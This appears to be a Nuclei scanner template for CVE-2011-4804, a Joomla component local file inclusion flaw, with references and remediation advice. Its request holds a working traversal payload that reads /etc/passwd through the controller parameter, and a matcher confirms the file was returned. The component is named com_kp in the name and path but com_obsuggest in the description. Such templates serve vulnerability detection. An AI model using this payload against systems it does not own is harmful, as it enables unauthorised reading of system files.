id: CVE-2011-4804

info:
  name: Joomla! Component com_kp - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to unauthorized access to sensitive information or remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36598
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4804
    - http://foobla.com/news/latest/obsuggest-1.8-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-4804
    cwe-id: CWE-22
    epss-score: 0.1012
    epss-percentile: 0.93204
    cpe: cpe:2.3:a:foobla:com_obsuggest:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: foobla
    product: com_obsuggest
  tags: cve,cve2011,lfi,edb,joomla,foobla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207c80124624dc253771582a90c8a8a654cbf2a51cc976e8da3bf778f2fc00d63c022100e2289c4a0580d07a9e08b2c8fc97569b7c50e1d1ac1851995930d1b36923d7ce:922c64590222798bb761d5b6d8e72950